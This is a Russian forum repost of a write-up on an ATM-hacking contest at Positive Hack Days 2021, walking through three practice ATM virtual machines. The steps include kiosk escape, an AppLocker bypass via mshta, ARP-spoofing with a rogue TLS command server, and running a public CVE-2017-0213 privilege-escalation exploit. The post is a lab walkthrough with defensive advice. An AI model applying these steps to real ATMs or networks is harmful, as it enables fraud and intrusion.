[Информационная безопасность] Как ломать банкоматы? ARP-spoofing, CVE, обход киоска
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
Виды в окрестностях Payment VillageНа прошедшем 20-21 мая 2021 Positive Hack Days в зоне Payment Village был представлен конкурс, где участники могли посоревноваться в хакерских способностях, а именно во взломе банкоматов. Организаторами было подготовлено 3 виртуальных машины банкоматов с разным уровнем сложности. На протяжении двух дней участники пытались произвести взлом банкоматов, но всего несколько человек смогли приблизиться к заложенным сценариям. Виртуальные машины банкоматов можно и сейчас скачать по ссылкам ниже.
- bankomat1.ova
- bankomat2.ova
- bankomat3.ova Мы решили сделать разбор кейсов в виде статьи, с помощью которой вы пошагово сможете взломать три виртуальных машины, представленных выше и, соответственно, прокачать свой скилл, узнав новые техники взлома.
bankomat1.ova (сложность medium)Участникам необходимо было запустить .vbs скрипт в обход существующих ограничений AppLocker и каким-либо образом повысить привилегии в системе до администратора. Сразу после загрузки виртуальной машины перед участником появляется вызывающая надпись "Я банкомат и жду пока меня кто-то сломает". Кроме этого в задании существует много различных отвлекающих внимание секретов)
Например, внезапно может появиться окно "Доступны обновления" в котором не работает кнопка, что дает ложные надежды найти выход из режима киоска.
Или такое - комбинация клавиш CTRL+ALT+DEL работает, но открыть диспетчер задач не получится из-за ограничений в реестре. Комбинации клавиш и обход applockerДля взлома банкомата злоумышленнику необходимо каким-либо образом подключить клавиатуру к банкомату, чтобы попытаться выйти из режима киоска с помощью комбинаций клавиш. Т.к. мы используем VMware, клавиатура у нас есть, следовательно провести такую атаку мы можем. Итак, пробегаемся по кнопкам и замечаем что многие их них не работают, не работает ALT+TAB, не работает аппаратная кнопка калькулятора (у вас есть такая на клавиатуре?), не работает клавиша Win, на первый взгляд не работает даже ALT+F4Но вдруг после многочасовых попыток поиска нужной комбинации клавиш, нам удается заметить что после нажатия ALT+F4 несколько раз, киоск всё-таки закрывается. Что должно натолкнуть нас на такую идею - это запуск блокнота при старте виртуальной машины. Буквально на секунду он проскакивает, и его даже видно, а потом поверх запускается киоск. Секрет заключается в том что параллельно запускается два киоска, которые нужно закрыть поочередно. Чтобы закрыть их поочередно, нужно использовать ALT+F4 и ЛКМ. В Windows с помощью ALT+F4 окна закрываются всегда по одинаковому сценарию. В нашем случае запускался сначала notepad.exe, потом kiosk.exe, потом еще раз kiosk.exe, и закрывались, они, соответственно, в таком-же порядке, если не использовать ЛКМ. Итого мы научились закрывать киоск.
Далее через блокнот открываем консоль. Следует отметить что консоль нам нужна для того, чтобы поэксплуатировать известную дыру в Windows, которая позволяет нам запускать .vbs скрипты в обход Applocker
Невозможно запустить скрипт напрямуюИспользуем следующую команду и выполняем первую часть задания
mshta "vbscript:window.close(msgbox("test"))
Чем вам не дыра?Повышение привилегийДля повышения привилегий необходимо было найти в файле C:\\Windows\Panther\unattend.xml пароль админа зашифрованный в base64
С этой задачей участники благополучно справились.bankomat2.ova (сложность hard)Данный банкомат работает по следующему принципу: каждый раз при запуске стартует приложение client.exe, которое обращается к удаленному серверу , проверяет сертификат сервера и если он валидный, шлет команду getcommand, на которую сервер в свою очередь отвечает командой, которую должен выполнить клиент.client.py
import ssl
import os
import socket
from cryptography import x509
from cryptography.hazmat.backends import default_backend
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
wrappedSocket = ssl.wrap_socket(sock)
try:
wrappedSocket.connect(('127.0.0.1', 1234))
except:
response = False
else:
pem_cert = ssl.DER_cert_to_PEM_cert(wrappedSocket.getpeercert(True))
print(pem_cert)
print(wrappedSocket.getpeercert(True))
cert = x509.load_pem_x509_certificate(str.encode(pem_cert), default_backend())
print(cert.subject.rfc4514_string().split(",")[1][3:])
if cert.subject.rfc4514_string().split(",")[1][3:] == 'ab.ab.ru':
wrappedSocket.sendall('getcommand'.encode())
os.system(wrappedSocket.recv(1024).decode())
wrappedSocket.close()
else:
wrappedSocket.sendall('invalid cert'.encode())
wrappedSocket.close()
server.py
import socket, ssl
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
context.load_cert_chain(certfile="cert.pem")
bindsocket = socket.socket()
bindsocket.bind(('127.0.0.1', 1234))
bindsocket.listen(5)
while True:
newsocket, fromaddr = bindsocket.accept()
sslsoc = context.wrap_socket(newsocket, server_side=True)
request = sslsoc.read()
if request.decode() == 'getcommand':
sslsoc.sendall('calc.exe'.encode())
print(request)
else:
sslsoc.sendall('command not found'.encode())
print(request)
Итого злоумышленнику необходимо поднять свой сервер, каким-то образом редиректнуть на него трафик с банкомата и подстроить ответ, чтобы выполнить свою команду. Кроме этого нужно понять как генерировать сертификат для проверки. Очень просто:
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem
Итак, для взлома этого банкомата можно использовать ARP-Spoofing Скачиваем Kali Linux, вводим команду sudo apt install dsniff, с помощью которой мы сможем установить пакет в котором есть инструмент arpspoof, который позволит провести нам данную атаку. После пишем sudo arpspoof -t 192.168.11.130 -r 192.168.11.2 чтобы перенаправить трафик с банкомата через нас на шлюз.(192.168.11.130 - IP адрес банкомата, 192.168.11.2 - IP адрес шлюза)С помощью следующей команды редиректим трафик с 7776 порта на 8080sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 7776 -j REDIRECT --to-port 8080
Сервер принимает командыГенерируем сертификат и запускаем сервер на порте 8080. Можно использовать код, который я привел выше, запускать мы будем explorer.exe
При генерации сертификата не забудьте укзать в Common Name сертификата поддомен ab.ab.ru, иначе клиенту не понравится ваш сертификат.
Демонстрация атакиПосле генерации cert.pem следует поместить в папку рядом со скриптом server.pyИтак, наконец, мы видим долгожданный проводник, через который нам надо открыть Internet Explorer, который чудом оказался не запрещен.
Скачиваем эксплойт CVE-2017-0213_x64.exe (https://github.com/eonrickity/CVE-2017-0213), переносим его в папку kiosk, запускаем и повышаемся в правах до администратора.Видео автора по поводу этого эксплойта:Извините, данный ресурс не поддреживается. :( bankomat3.ova (сложность low)Здесь все сложнее т.к. большинство клавиш просто запрещены. Для взлома данной виртуальной машины необходим выход в безопасный режим - кнопка 4 на следующем скрине.
- Для выхода в безопасный режим необходимо перезагрузить банкомат во время перезагрузки;
- Перезагружаемся в параметры загрузки;
- В виртуальной машине есть несколько аккаунтов: bankomat и Администратор. При входе в аккаунт администратора хакер не сможет ничего выполнить т.к. перед ним будет черный экран;
- Далее следует повышение привилегий. Повысить привилегии можно несколькими способами. Самый легкий способ - администратор не указал пароль для своего аккаунта и UAC можно обойти, просто оставив пустой пароль;
С этой задачей участники почти справились, чуть-чуть не хватило.ВыводыЕще раз спасибо участникам, а также победителям truebar и Soapboiler! Свои призы они уже получили. В статье были продемонстрированы крутые кейсы и техники, с помощью которых можно пробовать ломать банкоматы. Рабочих и наглядных сценариев для ARP-Spoofing сейчас действительно мало, исправляем эту проблему. Итого, если вы защищаете банкомат, не забывайте про комбинации клавиш, лучше прячьте свой пароль и обдумывайте логику проверки сертификатов. Также следует чаще обновлять свой софт, чтобы старые CVE не работали) Ссылкиhttps://t.me/phdays_paymentТелеграм автора - @yurasikhackerКлиент чекает сертификат сервера на наличие поддомена ab.ab.ru и, если сертификат валидный , запрашивает команду у сервера. Сервер же в свою очередь отправляет команду и ждет результат её выполнения от клиента.
===========
Источник:
habr.com
===========
Похожие новости:
- [Монетизация мобильных приложений, Бизнес-модели, Продвижение игр, Социальные сети и сообщества, IT-компании] Вслед за Apple и Google комиссию магазина приложений снизила Amazon
- [Системное администрирование, Софт] Microsoft прекратила распространять драйверы Windows 7 через Windows Update
- [Настройка Linux, Информационная безопасность, Сетевые технологии, Разработка под Linux, IT-компании] Cloudflare представила WARP для Linux
- [Информационная безопасность, Исследования и прогнозы в IT] Атаки пятого поколения: проблемы безопасности промышленных систем управления в сетях 4G/5G
- [Информационная безопасность, Open source, Антивирусная защита] Транспортный агент MS Exchange для защиты от вирусов и нежелательной почты
- [Информационная безопасность, Программирование, Реверс-инжиниринг, Софт] Как не дать злоумышленникам повысить привилегии в системе после успешного заражения
- [Информационная безопасность] Вебинар: Электронная почта — вектор хакерских атак
- [Информационная безопасность, Системное администрирование, Разработка под iOS, Софт] Microsoft Defender ATP будет предупреждать о взломанных iPhone и iPad
- [Информационная безопасность, Законодательство в IT, Софт] В США россиянина обвинили в создании ботнета Kelihos
- [Информационная безопасность, Сетевые технологии, Браузеры, IT-компании] Opera приостановила поддержку сервисов VPN в браузерах на территории РФ
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_arpspoofing, #_windows, #_vzlom_bankomatov (взлом банкоматов), #_cve, #_povyshenie_privilegij (повышение привилегий), #_informatsionnaja_bezopasnost (
Информационная безопасность
)
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 18:13
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
Виды в окрестностях Payment VillageНа прошедшем 20-21 мая 2021 Positive Hack Days в зоне Payment Village был представлен конкурс, где участники могли посоревноваться в хакерских способностях, а именно во взломе банкоматов. Организаторами было подготовлено 3 виртуальных машины банкоматов с разным уровнем сложности. На протяжении двух дней участники пытались произвести взлом банкоматов, но всего несколько человек смогли приблизиться к заложенным сценариям. Виртуальные машины банкоматов можно и сейчас скачать по ссылкам ниже.
Например, внезапно может появиться окно "Доступны обновления" в котором не работает кнопка, что дает ложные надежды найти выход из режима киоска. Или такое - комбинация клавиш CTRL+ALT+DEL работает, но открыть диспетчер задач не получится из-за ограничений в реестре. Комбинации клавиш и обход applockerДля взлома банкомата злоумышленнику необходимо каким-либо образом подключить клавиатуру к банкомату, чтобы попытаться выйти из режима киоска с помощью комбинаций клавиш. Т.к. мы используем VMware, клавиатура у нас есть, следовательно провести такую атаку мы можем. Итак, пробегаемся по кнопкам и замечаем что многие их них не работают, не работает ALT+TAB, не работает аппаратная кнопка калькулятора (у вас есть такая на клавиатуре?), не работает клавиша Win, на первый взгляд не работает даже ALT+F4Но вдруг после многочасовых попыток поиска нужной комбинации клавиш, нам удается заметить что после нажатия ALT+F4 несколько раз, киоск всё-таки закрывается. Что должно натолкнуть нас на такую идею - это запуск блокнота при старте виртуальной машины. Буквально на секунду он проскакивает, и его даже видно, а потом поверх запускается киоск. Секрет заключается в том что параллельно запускается два киоска, которые нужно закрыть поочередно. Чтобы закрыть их поочередно, нужно использовать ALT+F4 и ЛКМ. В Windows с помощью ALT+F4 окна закрываются всегда по одинаковому сценарию. В нашем случае запускался сначала notepad.exe, потом kiosk.exe, потом еще раз kiosk.exe, и закрывались, они, соответственно, в таком-же порядке, если не использовать ЛКМ. Итого мы научились закрывать киоск. Далее через блокнот открываем консоль. Следует отметить что консоль нам нужна для того, чтобы поэксплуатировать известную дыру в Windows, которая позволяет нам запускать .vbs скрипты в обход Applocker Невозможно запустить скрипт напрямуюИспользуем следующую команду и выполняем первую часть задания mshta "vbscript:window.close(msgbox("test"))
Чем вам не дыра?Повышение привилегийДля повышения привилегий необходимо было найти в файле C:\\Windows\Panther\unattend.xml пароль админа зашифрованный в base64 С этой задачей участники благополучно справились.bankomat2.ova (сложность hard)Данный банкомат работает по следующему принципу: каждый раз при запуске стартует приложение client.exe, которое обращается к удаленному серверу , проверяет сертификат сервера и если он валидный, шлет команду getcommand, на которую сервер в свою очередь отвечает командой, которую должен выполнить клиент.client.py import ssl
import os import socket from cryptography import x509 from cryptography.hazmat.backends import default_backend sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) wrappedSocket = ssl.wrap_socket(sock) try: wrappedSocket.connect(('127.0.0.1', 1234)) except: response = False else: pem_cert = ssl.DER_cert_to_PEM_cert(wrappedSocket.getpeercert(True)) print(pem_cert) print(wrappedSocket.getpeercert(True)) cert = x509.load_pem_x509_certificate(str.encode(pem_cert), default_backend()) print(cert.subject.rfc4514_string().split(",")[1][3:]) if cert.subject.rfc4514_string().split(",")[1][3:] == 'ab.ab.ru': wrappedSocket.sendall('getcommand'.encode()) os.system(wrappedSocket.recv(1024).decode()) wrappedSocket.close() else: wrappedSocket.sendall('invalid cert'.encode()) wrappedSocket.close() import socket, ssl
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) context.load_cert_chain(certfile="cert.pem") bindsocket = socket.socket() bindsocket.bind(('127.0.0.1', 1234)) bindsocket.listen(5) while True: newsocket, fromaddr = bindsocket.accept() sslsoc = context.wrap_socket(newsocket, server_side=True) request = sslsoc.read() if request.decode() == 'getcommand': sslsoc.sendall('calc.exe'.encode()) print(request) else: sslsoc.sendall('command not found'.encode()) print(request) openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem
Сервер принимает командыГенерируем сертификат и запускаем сервер на порте 8080. Можно использовать код, который я привел выше, запускать мы будем explorer.exe При генерации сертификата не забудьте укзать в Common Name сертификата поддомен ab.ab.ru, иначе клиенту не понравится ваш сертификат. Демонстрация атакиПосле генерации cert.pem следует поместить в папку рядом со скриптом server.pyИтак, наконец, мы видим долгожданный проводник, через который нам надо открыть Internet Explorer, который чудом оказался не запрещен. Скачиваем эксплойт CVE-2017-0213_x64.exe (https://github.com/eonrickity/CVE-2017-0213), переносим его в папку kiosk, запускаем и повышаемся в правах до администратора.Видео автора по поводу этого эксплойта:Извините, данный ресурс не поддреживается. :( bankomat3.ova (сложность low)Здесь все сложнее т.к. большинство клавиш просто запрещены. Для взлома данной виртуальной машины необходим выход в безопасный режим - кнопка 4 на следующем скрине.
=========== Источник: habr.com =========== Похожие новости:
Информационная безопасность ) |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 18:13
Часовой пояс: UTC + 5